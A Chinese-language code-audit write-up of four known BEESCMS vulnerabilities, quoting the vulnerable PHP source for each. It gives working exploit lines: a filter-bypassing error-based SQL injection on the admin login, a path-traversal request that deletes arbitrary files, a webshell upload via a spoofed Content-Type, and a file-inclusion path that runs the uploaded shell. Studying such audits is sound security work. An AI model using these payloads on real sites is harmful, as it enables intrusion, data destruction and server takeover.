BEESCMS源码下载
目录
①BEESCMS后台登录存在SQL注入漏洞(CNVD-2020-62375)
②BEESCMS存在任意文件删除漏洞(CNVD-2020-33193)
③BEESCMS存在文件上传漏洞(CNVD-2018-18082)
④BEESCMS企业网站管理系统存在文件包含漏洞(CNVD-2020-64781)
①BEESCMS后台登录存在SQL注入漏洞(CNVD-2020-62375)
后台登录后查看网络
跟login.php里action=ck_login的登录逻辑
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
跟进fl_value
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
关键词替换为空-->可以双写绕过
回到login.php
跟进fl_html
function fl_html($str){
return htmlspecialchars($str);
}
这个方法只返回了一个函数htmlspecialchars,用作防xss,这里我们不讨论
回到login.php
跟进check_login
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}
拿seay找一下函数fetch_asc路径
/*
*
*取出字段作为数组索引的数据集合
*return $array
*/
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}
跟进query
function query($sql){
if(!$res=@mysql_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}
使用mysql_query
函数执行 SQL 查询语句$sql
,并将结果赋值给变量$res
。如果查询失败(即返回值为假),则直接输出sql语句
我们可以尝试一下
符合
直接报错注入
exp:
admin' a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#
成功
②BEESCMS存在任意文件删除漏洞(CNVD-2020-33193)
Seay扫下unlink函数
直接用第一个/admin_ajax.php
//删除图片
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}
如果$value可控,通过目录穿越则可实现任意文件删除
跟一下$value,发现是全局且可控的
我们先在根目录随便创建一个文件Z3r4y.php
exp:
/admin/admin_ajax.php?action=del_pic&value=../Z3r4y.php
回显成功删除
此时发现根目录下的Z3r4y.php确实已被删除
③BEESCMS存在文件上传漏洞(CNVD-2018-18082)
Seay扫一下move_uploaded_file函数
先看第一个
if(is_uploaded_file($new_pic['tmp_name'])){
//判断大小
if($new_pic['size']>$_sys['upload_size']){msg('图片太大,请缩小');}
//判断格式
if(!in_array(strtolower($new_pic['type']),array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'))){msg('上传图片格式不正确');}
//图片信息
$new_pic_info=pathinfo($new_pic['name']);
//替换图片
$new_pic_name=CMS_PATH.$pic_path.$pic_name.'.'.$new_pic_info['extension'];
//删除原来图片
//@unlink($file_name);
//上传图片
@move_uploaded_file($new_pic['tmp_name'],$new_pic_name);
//对文件重新赋值,方便生成缩略图
$file_name=$new_pic_name;
//更新数据库
$new_pic_sql=",pic_ext='".$new_pic_info['extension']."',pic_size='".$new_pic['size']."'";
}
关于格式的判断只要修改Content-Type即可
访问/admin/admin_pic.php
发现在修改图片界面可以上传文件
修改Content-Type上传一句话木马
回到/admin/admin_pic.php
点击图片跳转发现成功写马
成功RCE
连蚁剑也行
④BEESCMS企业网站管理系统存在文件包含漏洞(CNVD-2020-64781)
Seay搜include
看起来有很多,但不少include的参数已经写死了,这些我们就不用看,我们需要找可控变量
改变检索关键词:include($
找到/admin/admin_channel.php
//开始导入字段
elseif($action=='save_backup')
{
if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
$channel_id = intval($_POST['channel_id']);
if(empty($channel_id))
{
msg('参数发生错误!请重新操作!');
}
//判断是否存在文件
$file_name = $_POST['file_name'];
if(empty($file_name))
{
msg('文件名不能为空!');
}
$file_path = DATA_PATH.'backup/'.$file_name.'.php';
if(!file_exists($file_path))
{
msg('不存在导入文件,请检查data/backup目录下是否存在文件');
}
include($file_path);
//获取模型表
if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php"))
{
include(DATA_PATH."cache_channel/cache_channel_all.php");
}
foreach($channel as $key=>$value){
if($value['id']==$channel_id){
$table=$value['channel_table'];
}
}
//开始导入
if(!empty($field_arr))
{
foreach($field_arr as $v)
{
$type="varchar(".$v['field_length'].")";
if($v['field_type']=="html"||$v['field_type']=="upload_pic_more")
{
$type="text";
}
$sql="select*from ".DB_PRE."{$table} limit 1";
$check_field_arr=$GLOBALS['mysql']->fetch_field($sql);
if(in_array($v['field_name'],$check_field_arr))
{
continue;
}
$GLOBALS['mysql']->add_field($table,$v['field_name']." ".$type);
$sql="insert into ".DB_PRE."auto_fields (field_name,use_name,field_type,field_value,field_length,channel_id,field_info,is_disable,is_del,field_order) values ('".$v['field_name']."','".$v['use_name']."','".$v['field_type']."','".$v['field_value']."',".$v['field_length'].",".$channel_id.",'".$v['field_info']."',".$v['is_disable'].",".$v['is_del'].",'".$v['field_order']."')";
$GLOBALS['mysql']->query($sql);
}
}
$GLOBALS['cache']->cache_fields();
msg('导入完成,可以删除文件!','?action=channel&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}
这一段可以利用
访问一下/admin/admin_channel.php
点击“导入字段”
发现post提交的值就是file_name
我们就用刚上传的一句话木马试一下:upload/img/20121208/201212082353104864.php
exp:
../../upload/img/20121208/201212082353104864
左上角看到GIF89a,成功包含恶意文件